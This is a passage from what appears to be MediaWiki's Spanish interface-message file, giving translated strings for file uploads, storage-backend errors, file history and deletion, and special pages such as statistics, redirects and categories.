'filesource' => 'Fuente:',
'uploadedfiles' => 'Archivos subidos',
'ignorewarning' => 'Ignorar aviso y guardar de todos modos',
'ignorewarnings' => 'Ignorar cualquier aviso',
'minlength1' => 'Los nombres de archivo deben tener al menos una letra.',
'illegalfilename' => 'El nombre de archivo «$1» contiene caracteres que no están permitidos en títulos de páginas. Por favor, renombra el archivo e intenta volver a subirlo.',
'filename-toolong' => 'Los nombres de archivo no pueden tener más de 240 bytes.',
'badfilename' => 'El nombre de la imagen se ha cambiado a «$1».',
'filetype-mime-mismatch' => 'La extensión de archivo «.$1» no coincide con el tipo detectado de MIME del archivo ($2).',
'filetype-badmime' => 'No se permite subir archivos de tipo MIME «$1».',
'filetype-bad-ie-mime' => 'No se puede subir este archivo porque Internet Explorer podría considerarlo como «$1», que es un tipo de archivo no permitido y potencialmente peligroso.',
'filetype-unwanted-type' => "'''«.$1»''' no está entre los tipos de fichero aconsejados.
{{PLURAL:$3|El único tipo aconsejado es|Los tipos aconsejados son}} $2.",
'filetype-banned-type' => '\'\'\'".$1"\'\'\' {{PLURAL:$4|no es un tipo de archivo permitido|no son tipos de archivos permitidos}}.
{{PLURAL:$3|El tipo de archivo permitido es|Los tipos de archivos permitidos son}} $2.',
'filetype-missing' => 'El archivo no tiene extensión (como «.jpg»).',
'empty-file' => 'El archivo que enviaste estaba vacío.',
'file-too-large' => 'El archivo que enviste era demasiado grande.',
'filename-tooshort' => 'El nombre de archivo es demasiado corto.',
'filetype-banned' => 'El tipo de archivo está prohibido.',
'verification-error' => 'Este archivo no pasó la verificación de archivos.',
'hookaborted' => 'La modificación que ha intentado realizar fue cancelada por un adicional de extensión.',
'illegal-filename' => 'El nombre de archivo no está permitido.',
'overwrite' => 'Sobrescribir un archivo existente no está permitido.',
'unknown-error' => 'Ocurrió un error desconocido.',
'tmp-create-error' => 'No se pudo crear archivo temporal.',
'tmp-write-error' => 'Error al escribir archivo temporal.',
'large-file' => 'Se recomienda que los archivos no sean mayores de $1; este archivo ocupa $2.',
'largefileserver' => 'El tamaño de este archivo es mayor del que este servidor admite por configuración.',
'emptyfile' => 'El archivo que has intentado subir parece estar vacío; por favor, verifica que realmente se trate del archivo que intentabas subir.',
'windows-nonascii-filename' => 'Este wiki no admite nombres de archivo con caracteres especiales.',
'fileexists' => 'Ya existe un archivo con este nombre, por favor comprueba <strong>[[:$1]]</strong> si no estás seguro de querer cambiarlo.
[[$1|thumb]]',
'filepageexists' => 'La página de descripción de este archivo ya ha sido creada en <strong>[[:$1]]</strong>, pero no existe actualmente ningún fichero con este nombre.
El resumen que ha ingresado no aparecerá en la página de descripción. Para que el sumario aparezca, deberá editarlo manualmente.
[[$1|thumb]]',
'fileexists-extension' => 'Existe un archivo con un nombre similar: [[$2|thumb]]
* Nombre del archivo que se está subiendo: <strong>[[:$1]]</strong>
* Nombre del archivo ya existente: <strong>[[:$2]]</strong>
Por favor, elige un nombre diferente.',
'fileexists-thumbnail-yes' => "El archivo parece ser una imagen de tamaño reducido ''(thumbnail)''. [[$1|thumb]]
Por favor comprueba el archivo <strong>[[:$1]]</strong>.
Si el archivo comprobado es la misma imagen a tamaño original no es necesario subir un thumbnail más.",
'file-thumbnail-no' => "El nombre del archivo comienza con <strong>$1</strong>.
Parece ser una imagen de tamaño reducido ''(thumbnail)''.
Si tiene esta imagen a toda resolución súbala, si no, por favor cambie el nombre del archivo.",
'fileexists-forbidden' => 'Ya existe un archivo con este nombre, y no puede ser grabado encima de otro. Si quiere subir su archivo de todos modos, por favor vuelva atrás y utilice otro nombre. [[File:$1|thumb|center|$1]]',
'fileexists-shared-forbidden' => 'Ya existe un archivo con este nombre en el repositorio compartido.
Si todavía quiere subir su archivo, por favor, regrese a la página anterior y use otro nombre. [[File:$1|thumb|center|$1]]',
'file-exists-duplicate' => 'Este archivo es un duplicado {{PLURAL:$1|del siguiente|de los siguientes}}:',
'file-deleted-duplicate' => 'Un archivo idéntico a este ([[:$1]]) ha sido borrado con anterioridad. Debes comprobar el historial de borrado del archivo ante de volver a subirlo.',
'file-deleted-duplicate-notitle' => 'Un archivo idéntico a este ha sido borrado con anterioridad, y el título ha sido suprimido. Deberías contactar con alguien capaz de ver los datos de archivos borrados para que revise esta situación antes de proceder a subir de nuevo este archivo.',
'uploadwarning' => 'Advertencia de subida de archivo',
'uploadwarning-text' => 'Por favor, modifique la descripción del archivo abajo indicada e inténtelo de nuevo.',
'savefile' => 'Guardar archivo',
'uploadedimage' => 'subió «[[$1]]»',
'overwroteimage' => 'subió una nueva versión de «[[$1]]»',
'uploaddisabled' => 'Subida de archivos deshabilitada',
'copyuploaddisabled' => 'Carga por URL deshabilitada.',
'uploadfromurl-queued' => 'Tu carga ha sido enviada a la cola.',
'uploaddisabledtext' => 'No es posible subir archivos.',
'php-uploaddisabledtext' => 'La subida de archivos está deshabilitada en PHP. Por favor compruebe <code>file_uploads</code> en php.ini.',
'uploadscripted' => 'Este archivo contiene script o código HTML que puede ser interpretado erróneamente por un navegador web.',
'uploadvirus' => '¡El archivo contiene un virus!
Detalles: $1',
'uploadjava' => 'El archivo es un ZIP que contiene un archivo .class de Java.
No se permite subir archivos Java, porque pueden causar que se puedan saltar restricciones de seguridad.',
'upload-source' => 'Archivo origen',
'sourcefilename' => 'Nombre del archivo origen:',
'sourceurl' => 'Dirección original:',
'destfilename' => 'Nombre del archivo de destino:',
'upload-maxfilesize' => 'Tamaño máximo del archivo: $1',
'upload-description' => 'Descripción de archivo',
'upload-options' => 'Opciones de carga',
'watchthisupload' => 'Vigilar este archivo',
'filewasdeleted' => 'Un archivo con este nombre se subió con anterioridad y posteriormente ha sido borrado. Deberías revisar el $1 antes de subirlo de nuevo.',
'filename-bad-prefix' => "El nombre del archivo que estás subiendo comienza por '''«$1»''', un nombre nada descriptivo de su contenido. Es un típico nombre de los que asignan automáticamente las cámaras digitales.
Por favor, elige un nombre más descriptivo.",
'filename-prefix-blacklist' => ' #<!-- deja esta línea exactamente como está --> <pre>
# La sintaxis de esta página es la siguiente:
# * Todo texto que se encuentre después del carácter "#" hasta el final de la línea se tratará como un comentario y será ignorado
# * Cualquier línea que no esté en blanco será interpretada como un prefijo típico en nombres de archivo que suelen asignar automáticamente las cámaras digitales
CIMG # Casio
DSC_ # Nikon
DSCF # Fuji
DSCN # Nikon
DUW # algunos teléfonos móviles / celulares
IMG # genérico
JD # Jenoptik
MGP # Pentax
PICT # misc.
#</pre> <!-- deja esta línea exactamente como está -->',
'upload-success-subj' => 'Subida con éxito',
'upload-success-msg' => 'Tu carga de [$2] fue exitosa. Está disponible aquí: [[:{{ns:file}}:$1]]',
'upload-failure-subj' => 'Problema en la carga',
'upload-failure-msg' => 'Hubo un problema durante la carga desde [$2]:
$1',
'upload-warning-subj' => 'Alerta de carga',
'upload-warning-msg' => 'Hubo un problema con tu carga de [$2]. Puedes regresar al [[Special:Upload/stash/$1|formulario de carga]] para corregir este problema.',
'upload-proto-error' => 'Protocolo incorrecto',
'upload-proto-error-text' => 'Para subir archivos desde otra página la URL debe comenzar por <code>http://</code> o <code>ftp://</code>.',
'upload-file-error' => 'Error interno al subir el archivo',
'upload-file-error-text' => 'Ha ocurrido un error interno mientras se intentaba crear un fichero temporal en el servidor. Por favor, contacta con un [[Special:ListUsers/sysop|administrador]].',
'upload-misc-error' => 'Error desconocido en la subida',
'upload-misc-error-text' => 'Ha ocurrido un error durante la subida. Por favor verifica que la URL es válida y accesible e inténtalo de nuevo. Si el problema persiste, contacta con un [[Special:ListUsers/sysop|administrador]].',
'upload-too-many-redirects' => 'La URL contenía demasiadas redirecciones',
'upload-unknown-size' => 'Tamaño desconocido',
'upload-http-error' => 'Ha ocurrido un error HTTP: $1',
'upload-copy-upload-invalid-domain' => 'No se pueden realizar cargas remotas desde este dominio.',
# File backend
'backend-fail-stream' => 'No se pudo transmitir el archivo «$1».',
'backend-fail-backup' => 'No pudo hacer copia de seguridad del archivo «$1».',
'backend-fail-notexists' => 'El archivo $1 no existe.',
'backend-fail-hashes' => 'No se pudieron obtener los hashes de los ficheros para compararlos.',
'backend-fail-notsame' => 'Ya existe un fichero distinto en $1.',
'backend-fail-invalidpath' => '$1 no es una ruta de almacenamiento válida',
'backend-fail-delete' => 'No se pudo borrar el archivo «$1».',
'backend-fail-describe' => 'No pudieron cambiar los metadatos del archivo "$1".',
'backend-fail-alreadyexists' => 'El archivo $1 ya existe.',
'backend-fail-store' => 'No se pudo almacenar el archivo $1 en $2.',
'backend-fail-copy' => 'No se pudo copiar el archivo $1 a $2.',
'backend-fail-move' => 'No se pudo trasladar el archivo $1 a $2.',
'backend-fail-opentemp' => 'No se pudo crear archivo temporal.',
'backend-fail-writetemp' => 'No se pudo escribir en el archivo temporal.',
'backend-fail-closetemp' => 'No se pudo cerrar el archivo temporal.',
'backend-fail-read' => 'No se pudo leer el archivo «$1».',
'backend-fail-create' => 'No se pudo escribir el archivo $1.',
'backend-fail-maxsize' => 'No se pudo escribir el archivo $1 porque es mayor de {{PLURAL:$2|un byte|$2 bytes}}.',
'backend-fail-readonly' => 'El servidor (back-end) de almacenamiento "$1" está actualmente en estado de sólo lectura. La razón aducida fue: "$2"',
'backend-fail-synced' => 'El archivo "$1" se encuentra en un estado incoherente dentro de los servidores (backends) de almacenamiento interno',
'backend-fail-connect' => 'No se pudo conectar al servidor (backend) de almacenamiento "$1".',
'backend-fail-internal' => 'Se ha producido un error desconocido en el servidor (backend) de almacenamiento "$1".',
'backend-fail-contenttype' => 'No se pudo determinar el tipo de contenido del archivo a guardar en " $1 ".',
'backend-fail-batchsize' => 'El servidor (back-end) de almacenamiento ha suministrado un lote de $1 {{PLURAL:$1|operación|operaciones}} de archivo; el límite es de $2 {{PLURAL:$2|operación|operaciones}}.',
'backend-fail-usable' => 'No se pudo leer o escribir el archivo "$1" debido a permisos insuficientes o directorios/contenedores desaparecidos.',
# File journal errors
'filejournal-fail-dbconnect' => 'No se pudo conectar a la base de datos del registro del sistema de almacenamiento "$1".',
'filejournal-fail-dbquery' => 'No se pudo actualizar la base de datos del registro del sistema de almacenamiento "$1".',
# Lock manager
'lockmanager-notlocked' => 'No se pudo desbloquear "$1": no se encontraba bloqueado.',
'lockmanager-fail-closelock' => 'No se pudo cerrar la referencia para el archivo de bloqueo de "$1".',
'lockmanager-fail-deletelock' => 'No se pudo eliminar el archivo de bloqueo para "$1".',
'lockmanager-fail-acquirelock' => 'No pudo adquirir el bloqueo para "$1".',
'lockmanager-fail-openlock' => 'No se pudo abrir el archivo de bloqueo para "$1".',
'lockmanager-fail-releaselock' => 'No se pudo liberar el bloqueo de "$1".',
'lockmanager-fail-db-bucket' => 'No se pudo contactar con las suficientes bases de datos del conjunto $1.',
'lockmanager-fail-db-release' => 'No se pudieron liberar los bloqueos registrados en la base de datos $1.',
'lockmanager-fail-svr-acquire' => 'No se pudieron obtener bloqueos en el servidor $1.',
'lockmanager-fail-svr-release' => 'No se pudieron liberar los bloqueos registrados en el servidor $1.',
# ZipDirectoryReader
'zip-file-open-error' => 'Se encontró un error al abrir el archivo ZIP para su comprobación.',
'zip-wrong-format' => 'El archivo especificado no es un archivo ZIP.',
'zip-bad' => 'El archivo es un ZIP dañado o que no se puede leer.
No se puede comprobar su seguridad.',
'zip-unsupported' => 'El archivo es un archivo que utiliza características ZIP no compatibles con MediaWiki.
No puede comprobarse adecuadamente su seguridad.',
# Special:UploadStash
'uploadstash' => 'Ficheros escondidos',
'uploadstash-summary' => 'Esta página da acceso a los ficheros enviados (o que están en el proceso de envío) pero que aún no han sido publicados en la wiki. Estos ficheros no son visibles para nadie, excepto para el usuario que los envió.',
'uploadstash-clear' => 'Borrar los ficheros escondidos',
'uploadstash-nofiles' => 'No tienes archivos escondidos.',
'uploadstash-badtoken' => 'No fue posible ejecutar esa operación, tal vez porque sus credenciales de edición expiraron. Reinténtelo.',
'uploadstash-errclear' => 'El borrado de los archivos no tuvo éxito.',
'uploadstash-refresh' => 'Actualizar la lista de archivos',
'invalid-chunk-offset' => 'Desplazamiento inválido del fragmento',
# img_auth script messages
'img-auth-accessdenied' => 'Acceso denegado',
'img-auth-nopathinfo' => 'Falta PATH_INFO.
El servidor no está configurado para proporcionar esta información.
Es posible que esté basado en CGI y que no sea compatible con img_auth.
Consulte https://www.mediawiki.org/wiki/Manual:Image_Authorization.',
'img-auth-notindir' => 'Ruta solicitad no esá en el directorio de cargas configurado',
'img-auth-badtitle' => 'Incapaz de construir un título válido de «$1».',
'img-auth-nologinnWL' => 'No has iniciado sesión y «$1» no está en la lista blanca.',
'img-auth-nofile' => 'El archivo «$1» no existe.',
'img-auth-isdir' => 'Estás tratando de acceder a un directorio «$1».
Solo se permite el acceso a los archivos.',
'img-auth-streaming' => 'Streaming «$1».',
'img-auth-public' => 'La función de img_auth.php es mostrar archivos desde una wiki privada.
Esta wiki está configurada como pública.
Para óptima seguridad, img_auth.php está desactivado.',
'img-auth-noread' => 'El usuario no tiene acceso para leer «$1».',
'img-auth-bad-query-string' => 'La dirección URL tiene una cadena de consulta no válida.',
# HTTP errors
'http-invalid-url' => 'URL inválida: $1',
'http-invalid-scheme' => 'Las URLs con el esquema «$1» no son compatibles.',
'http-request-error' => 'La solicitud HTTP falló debido a un error desconocido.',
'http-read-error' => 'Error de lectura HTTP.',
'http-timed-out' => 'La solicitud HTTP ha expirado.',
'http-curl-error' => 'Error al recuperar el URL: $1',
'http-bad-status' => 'Ha habido un problema durante la solicitud HTTP: $1 $2',
# Some likely curl errors. More could be added from <http://curl.haxx.se/libcurl/c/libcurl-errors.html>
'upload-curl-error6' => 'No se pudo alcanzar la URL',
'upload-curl-error6-text' => 'La URL no pudo ser alcanzada. Por favor comprueba que la URL es correcta y el sitio web está funcionando.',
'upload-curl-error28' => 'Tiempo de espera excedido',
'upload-curl-error28-text' => 'La página tardó demasiado en responder. Por favor, comprueba que el servidor está funcionando, espera un poco y vuelva a intentarlo. Quizás desees intentarlo en otro momento de menos carga.',
'license' => 'Licencia:',
'license-header' => 'Licencia',
'nolicense' => 'Ninguna seleccionada',
'license-nopreview' => '(Previsualización no disponible)',
'upload_source_url' => ' (una URL válida y accesible públicamente)',
'upload_source_file' => ' (un archivo en tu disco)',
# Special:ListFiles
'listfiles-summary' => 'Esta página especial muestra todos los archivos subidos.
Cuando el usuario la filtra, solo se muestran los archivos cargados por el usuario en su versión más reciente.',
'listfiles_search_for' => 'Buscar por nombre de imagen:',
'imgfile' => 'archivo',
'listfiles' => 'Lista de archivos',
'listfiles_thumb' => 'Miniatura',
'listfiles_date' => 'Fecha',
'listfiles_name' => 'Nombre',
'listfiles_user' => 'Usuario',
'listfiles_size' => 'Tamaño (bytes)',
'listfiles_description' => 'Descripción',
'listfiles_count' => 'Versiones',
'listfiles-show-all' => 'Incluir versiones antiguas de las imágenes',
'listfiles-latestversion' => 'Versión actual',
'listfiles-latestversion-yes' => 'Sí',
'listfiles-latestversion-no' => 'No',
# File description page
'file-anchor-link' => 'Archivo',
'filehist' => 'Historial del archivo',
'filehist-help' => 'Haz clic sobre una fecha/hora para ver el
archivo a esa fecha.',
'filehist-deleteall' => 'borrar todo',
'filehist-deleteone' => 'borrar',
'filehist-revert' => 'revertir',
'filehist-current' => 'act',
'filehist-datetime' => 'Fecha y hora',
'filehist-thumb' => 'Miniatura',
'filehist-thumbtext' => 'Miniatura de la versión de $1',
'filehist-nothumb' => 'Sin miniatura',
'filehist-user' => 'Usuario',
'filehist-dimensions' => 'Dimensiones',
'filehist-filesize' => 'Tamaño',
'filehist-comment' => 'Comentario',
'filehist-missing' => 'No se encuentra el archivo',
'imagelinks' => 'Usos del archivo',
'linkstoimage' => '{{PLURAL:$1|La siguiente página enlaza|Las siguientes páginas enlazan}} a este archivo:',
'linkstoimage-more' => 'Hay más de {{PLURAL:$1|una página que enlaza|$1 páginas que enlazan}} con este archivo.
La lista siguiente sólo muestra {{PLURAL:$1|la primera página que enlaza|las primeras $1 páginas que enlazan}} con este archivo.
También puedes consultar la [[Special:WhatLinksHere/$2|lista completa]].',
'nolinkstoimage' => 'No hay páginas que enlacen a esta imagen.',
'morelinkstoimage' => 'Vea [[Special:WhatLinksHere/$1|más enlaces]] a este archivo.',
'linkstoimage-redirect' => '$1 (archivo de redirección) $2',
'duplicatesoffile' => '{{PLURAL:$1|El siguiente archivo es un duplicado|Los siguientes $1 archivos son duplicados}} de éste ([[Special:FileDuplicateSearch/$2|más detalles]]):',
'sharedupload' => 'Este archivo es de $1 y puede ser usado por otros proyectos.',
'sharedupload-desc-there' => 'Este archivo es de $1 y puede ser usado por otros proyectos.
Por favor mira la [$2 página de descripción del archivo] para información adicional.',
'sharedupload-desc-here' => 'Este archivo es de $1 y puede ser usado por otros proyectos.
La descripción en su [$2 página de descripción del archivo] está mostrada debajo.',
'sharedupload-desc-edit' => 'Este archivo es de $1 y puede ser utilizado por otros proyectos.
Tal vez desee editar la descripción de su [$2 página de descripción del archivo] allí.',
'sharedupload-desc-create' => 'Este archivo es de $1 y puede ser utilizado por otros proyectos.
Tal vez desee editar la descripción de su [$2 página de descripción del archivo] allí.',
'filepage-nofile' => 'No existe ningún archivo con este nombre.',
'filepage-nofile-link' => 'No existe ningún archivo con este nombre, pero puedes [$1 subirlo].',
'uploadnewversion-linktext' => 'Subir una nueva versión de este archivo',
'shared-repo-from' => 'de $1',
'shared-repo' => 'un repositorio compartido',
'filepage.css' => '/* Los estilos CSS colocados aquí se incluirán en las páginas de descripción de archivos, incluso en los wikis externos que incluyan estas páginas */',
'upload-disallowed-here' => 'No puedes sobrescribir este archivo.',
# File reversion
'filerevert' => 'Revertir $1',
'filerevert-legend' => 'Reversión de archivos',
'filerevert-intro' => "Estás revirtiendo '''[[Media:$1|$1]]''' a la [$4 versión del $2 a las $3].",
'filerevert-comment' => 'Motivo:',
'filerevert-defaultcomment' => 'Revertido a la versión subida el $1 a las $2',
'filerevert-submit' => 'Revertir',
'filerevert-success' => "'''[[Media:$1|$1]]''' ha sido revertido a la [$4 versión del $2 a las $3].",
'filerevert-badversion' => 'No existe version local previa de este archivo con esa marca de tiempo.',
# File deletion
'filedelete' => 'Borrar $1',
'filedelete-legend' => 'Borrar archivo',
'filedelete-intro' => "Estás borrando el archivo '''[[Media:$1|$1]]''' así como todo su historial.",
'filedelete-intro-old' => "Estás borrando la versión de '''[[Media:$1|$1]]''' del [$4 $2 a las $3].",
'filedelete-comment' => 'Motivo:',
'filedelete-submit' => 'Eliminar',
'filedelete-success' => "'''$1''' ha sido borrado.",
'filedelete-success-old' => "La version de '''[[Media:$1|$1]]''' del $2 a las $3 ha sido borrada.",
'filedelete-nofile' => "'''$1''' no existe.",
'filedelete-nofile-old' => "No existe una versión guardada de '''$1''' con los atributos especificados.",
'filedelete-otherreason' => 'Otra razón:',
'filedelete-reason-otherlist' => 'Otra razón',
'filedelete-reason-dropdown' => '*Razones de borrado habituales
** Violación de copyright
** Archivo duplicado',
'filedelete-edit-reasonlist' => 'Edita los motivos del borrado',
'filedelete-maintenance' => 'Borrado y restauración de archivos temporalmente deshabilitados durante el mantenimiento.',
'filedelete-maintenance-title' => 'No se puede eliminar el archivo',
# MIME search
'mimesearch' => 'Búsqueda por MIME',
'mimesearch-summary' => 'Esta página permite el filtrado de ficheros por su tipo MIME.
Entrada: contenttype/subtype, p. ej. <code>image/jpeg</code>.',
'mimetype' => 'Tipo MIME:',
'download' => 'descargar',
# Unwatched pages
'unwatchedpages' => 'Páginas no vigiladas',
# List redirects
'listredirects' => 'Lista de redirecciones',
# Unused templates
'unusedtemplates' => 'Plantillas sin uso',
'unusedtemplatestext' => 'Aquí se enumeran todas las páginas en el espacio de nombres {{ns:template}} que no están incluidas en otras páginas. Recuerda mirar lo que enlaza a las plantillas antes de borrarlas.',
'unusedtemplateswlh' => 'otros enlaces',
# Random page
'randompage' => 'Página aleatoria',
'randompage-nopages' => 'No hay páginas en los siguientes {{PLURAL:$2|espacio de nombre|espacios de nombre}}: $1.',
# Random page in category
'randomincategory' => 'Página aleatoria en categoría',
'randomincategory-invalidcategory' => '"$1" no es una categoría válida.',
'randomincategory-nopages' => 'No hay páginas en la categoría [[:Category:$1|$1]].',
'randomincategory-selectcategory' => 'Obtener una página aleatoria de categoría: $1 $2.',
'randomincategory-selectcategory-submit' => 'Ir',
# Random redirect
'randomredirect' => 'Ir a una redirección cualquiera',
'randomredirect-nopages' => 'No hay redirecciones en el espacio de nombres «$1».',
# Statistics
'statistics' => 'Estadísticas',
'statistics-header-pages' => 'Estadísticas de páginas',
'statistics-header-edits' => 'Estadísticas de ediciones',
'statistics-header-views' => 'Estadísticas de visitas',
'statistics-header-users' => 'Estadísticas de usuario',
'statistics-header-hooks' => 'Otras estadísticas',
'statistics-articles' => 'Páginas de contenido',
'statistics-pages' => 'Páginas',
'statistics-pages-desc' => 'Todas las páginas en el wiki, incluyendo páginas de discusión, redirecciones, etc.',
'statistics-files' => 'Archivos subidos',
'statistics-edits' => 'Ediciones en páginas desde que {{SITENAME}} fue instalado',
'statistics-edits-average' => 'Media de ediciones por página',
'statistics-views-total' => 'Visitas totales',
'statistics-views-total-desc' => 'No se incluyen accesos a páginas no existentes ni páginas especiales',
'statistics-views-peredit' => 'Visitas por edición',
'statistics-users' => '[[Special:ListUsers|Usuarios]] registrados',
'statistics-users-active' => 'Usuarios activos',
'statistics-users-active-desc' => 'Usuarios que han ejecutado una acción en {{PLURAL:$1|el último día|los últimos $1 días}}',
'statistics-mostpopular' => 'Páginas más vistas',
'pageswithprop' => 'Páginas con una propiedad de página',
'pageswithprop-legend' => 'Páginas con una propiedad de página',
'pageswithprop-text' => 'Esta página muestra las páginas que usan la propiedad de una página en particular',
'pageswithprop-prop' => 'Nombre de la propiedad',
'pageswithprop-submit' => 'Ir',
'pageswithprop-prophidden-long' => 'hay un largo valor en la propiedad texto oculta ($1)',
'pageswithprop-prophidden-binary' => 'valor de la propiedad binaria oculta ($1)',
'doubleredirects' => 'Redirecciones dobles',
'doubleredirectstext' => 'Esta página contiene una lista de páginas que redirigen a otras páginas de redirección.
Cada fila contiene enlaces a la segunda y tercera redirección, así como la primera línea de la segunda redirección, en la que usualmente se encontrará el artículo «real» al que la primera redirección debería apuntar.
Las entradas <del>tachadas</del> han sido resueltas.',
'double-redirect-fixed-move' => '[[$1]] ha sido trasladado, ahora es una redirección a [[$2]]',
'double-redirect-fixed-maintenance' => 'Corrigiendo la doble redirección desde [[$1]] a [[$2]].',
'double-redirect-fixer' => 'Corrector de redirecciones',
'brokenredirects' => 'Redirecciones incorrectas',
'brokenredirectstext' => 'Las siguientes redirecciones enlazan a páginas que no existen:',
'brokenredirects-edit' => 'editar',
'brokenredirects-delete' => 'borrar',
'withoutinterwiki' => 'Páginas sin interwikis',
'withoutinterwiki-summary' => 'Las siguientes páginas no enlazan a versiones en otros idiomas:',
'withoutinterwiki-legend' => 'Prefijo',
'withoutinterwiki-submit' => 'Mostrar',
'fewestrevisions' => 'Artículos con menos ediciones',
# Miscellaneous special pages
'nbytes' => '$1 {{PLURAL:$1|byte|bytes}}',
'ncategories' => '$1 {{PLURAL:$1|categoría|categorías}}',
'ninterwikis' => '$1 {{PLURAL:$1|interwiki|interwikis}}',
'nlinks' => '$1 {{PLURAL:$1|enlace|enlaces}}',
'nmembers' => '$1 {{PLURAL:$1|artículo|artículos}}',
'nmemberschanged' => '$1 → $2 {{PLURAL:$2|miembro|miembros}}',
'nrevisions' => '$1 {{PLURAL:$1|revisión|revisiones}}',
'nviews' => '$1 {{PLURAL:$1|vista|vistas}}',
'nimagelinks' => 'Usado en {{PLURAL:$1|una página|$1 páginas}}',
'ntransclusions' => 'usado en {{PLURAL:$1|una página|$1 páginas}}',
'specialpage-empty' => 'Esta página está vacía.',
'lonelypages' => 'Páginas huérfanas',
'lonelypagestext' => 'Las siguientes páginas no están enlazadas ni transcluídas en otras páginas de {{SITENAME}}.',
'uncategorizedpages' => 'Páginas sin categorizar',
'uncategorizedcategories' => 'Categorías sin categorizar',
'uncategorizedimages' => 'Imágenes sin categorizar',
'uncategorizedtemplates' => 'Plantillas sin categorizar',
'unusedcategories' => 'Categorías sin uso',
'unusedimages' => 'Imágenes sin uso',
'popularpages' => 'Páginas populares',
'wantedcategories' => 'Categorías requeridas',
'wantedpages' => 'Páginas requeridas',
'wantedpages-badtitle' => 'Título inválido en conjunto de resultados: $1',
'wantedfiles' => 'Ficheros requeridos',
'wantedfiletext-cat' => 'Los siguientes archivos están en uso, pero no existen. Es posible que algunos de ellos estén almacenados en repositorios externos y se hayan incluido aquí por error; dichas entradas aparecen <del>tachadas</del>. De igual manera, las páginas que incluyen archivos inexistentes se enumeran en [[:$1]].',
'wantedfiletext-nocat' => 'Los siguientes archivos están en uso, pero no existen. Es posible que algunos de ellos estén almacenados en repositorios externos y se hayan incluido aquí por error; dichas entradas aparecen <del>tachadas</del>.',
'wantedtemplates' => 'Plantillas requeridas',
'mostlinked' => 'Artículos más enlazados',
'mostlinkedcategories' => 'Categorías más enlazadas',
'mostlinkedtemplates' => 'Plantillas más enlazadas',
'mostcategories' => 'Páginas con más categorías',
'mostimages' => 'Imágenes más usadas',
'mostinterwikis' => 'Páginas con más interwikis',
'mostrevisions' => 'Artículos con más ediciones',
'prefixindex' => 'Todas las páginas con prefijo',
'prefixindex-namespace' => 'Todas las páginas con el prefijo (espacio de nombres $1)',
'prefixindex-strip' => 'Prefijo de la hilera en la lista',
'shortpages' => 'Páginas cortas',
'longpages' => 'Páginas largas',
'deadendpages' => 'Páginas sin salida',
'deadendpagestext' => 'Las siguientes páginas no enlazan a otras páginas de {{SITENAME}}.',
'protectedpages' => 'Páginas protegidas',
'protectedpages-indef' => 'Sólo protecciones indefinidas',
'protectedpages-cascade' => 'Sólo protecciones en cascada',
'protectedpages-noredirect' => 'Ocultar redirecciones',
'protectedpagesempty' => 'Actualmente no hay ninguna página protegida con esos parámetros.',
'protectedtitles' => 'Títulos protegidos',
'protectedtitlesempty' => 'Actualmente no existen entradas protegidas con esos parámetros.',
'listusers' => 'Lista de usuarios',
'listusers-editsonly' => 'Muestra sólo usuarios con ediciones',
'listusers-creationsort' => 'Ordenado por fecha de creación',
'listusers-desc' => 'Ordenar de forma descendente',
'usereditcount' => '$1 {{PLURAL:$1|edición|ediciones}}',
'usercreated' => '{{GENDER:$3|Registrado|Registrada}} el $1 a las $2',
'newpages' => 'Páginas nuevas',
'newpages-username' => 'Nombre de usuario',
'ancientpages' => 'Artículos más antiguos',
'move' => 'Trasladar',
'movethispage' => 'Trasladar esta página',
'unusedimagestext' => 'Los siguientes archivos existen pero no están insertados en ninguna página.
Por favor note que otros sitios web pueden vincular a un archivo con un URL directo, y por tanto pueden ser listados aquí a pesar de estar en uso activo.',
'unusedcategoriestext' => 'Las siguientes categorías han sido creadas, pero ningún artículo o categoría las utiliza.',
'notargettitle' => 'No hay página objetivo',
'notargettext' => 'Especifique sobre qué página desea llevar a cabo esta acción.',
'nopagetitle' => 'No existe la página destino',
'nopagetext' => 'La página destino que ha especificado no existe.',
'pager-newer-n' => '{{PLURAL:$1|1 siguiente|$1 siguientes}}',
'pager-older-n' => '{{PLURAL:$1|1 anterior|$1 anteriores}}',
'suppress' => 'Supresor de ediciones',
'querypage-disabled' => 'Esta página especial está deshabilitada por motivos de rendimiento.',
# Book sources
'booksources' => 'Fuentes de libros',
'booksources-search-legend' => 'Buscar fuentes de libros',
'booksources-go' => 'Ir',
'booksources-text' => 'Abajo hay una lista de enlaces a otros sitios que venden libros nuevos y usados, puede que contengan más información sobre los libros que estás buscando.',
'booksources-invalid-isbn' => 'El número de ISBN no parece ser válido; comprueba los errores copiándolo de la fuente original.',
# Special:Log
'specialloguserlabel' => 'Usuario:',
'speciallogtitlelabel' => 'Objetivo (título o usuario):',
'log' => 'Registros',
'all-logs-page' => 'Todos los registros públicos',
'alllogstext' => 'Vista combinada de todos los registros de {{SITENAME}}.
Puedes filtrar la vista seleccionando un tipo de registro, el nombre del usuario o la página afectada. Se distinguen mayúsculas de minúsculas.',
'logempty' => 'No hay elementos en el registro con esas condiciones.',
'log-title-wildcard' => 'Buscar títulos que empiecen con este texto',
'showhideselectedlogentries' => 'Mostrar u ocultar las entradas seleccionadas del registro',
# Special:AllPages
'allpages' => 'Todas las páginas',
'alphaindexline' => '$1 a $2',
'nextpage' => 'Siguiente página ($1)',
'prevpage' => 'Página anterior ($1)',
'allpagesfrom' => 'Mostrar páginas que empiecen por:',
'allpagesto' => 'Mostrar páginas terminadas con:',
'allarticles' => 'Todos los artículos',
'allinnamespace' => 'Todas las páginas (espacio de nombres $1)',
'allpagessubmit' => 'Mostrar',
'allpagesprefix' => 'Mostrar páginas con el prefijo:',
'allpagesbadtitle' => 'El título dado era inválido o tenía un prefijo de enlace inter-idioma o inter-wiki. Puede contener uno o más caracteres que no se pueden usar en títulos.',
'allpages-bad-ns' => '{{SITENAME}} no tiene un espacio de nombres llamado «$1».',
'allpages-hide-redirects' => 'Ocultar redirecciones',
# SpecialCachedPage
'cachedspecial-viewing-cached-ttl' => 'Usted está viendo una versión en caché de esta página, que puede tener hasta $1 días de antigüedad.',
'cachedspecial-viewing-cached-ts' => 'Está viendo una versión en caché de esta página, que puede no estar completamente actualizada.',
'cachedspecial-refresh-now' => 'Ver lo más reciente.',
# Special:Categories
'categories' => 'Categorías',
'categoriespagetext' => 'Las siguientes {{PLURAL:$1|categoría contiene|categorías contienen}} páginas o medios.
No se muestran aquí las [[Special:UnusedCategories|categorías sin uso]].
Véase también las [[Special:WantedCategories|categorías requeridas]].',
'categoriesfrom' => 'Mostrar categorías que empiecen por:',
'special-categories-sort-count' => 'ordenar por conteo',
'special-categories-sort-abc' => 'ordenar alfabéticamente',
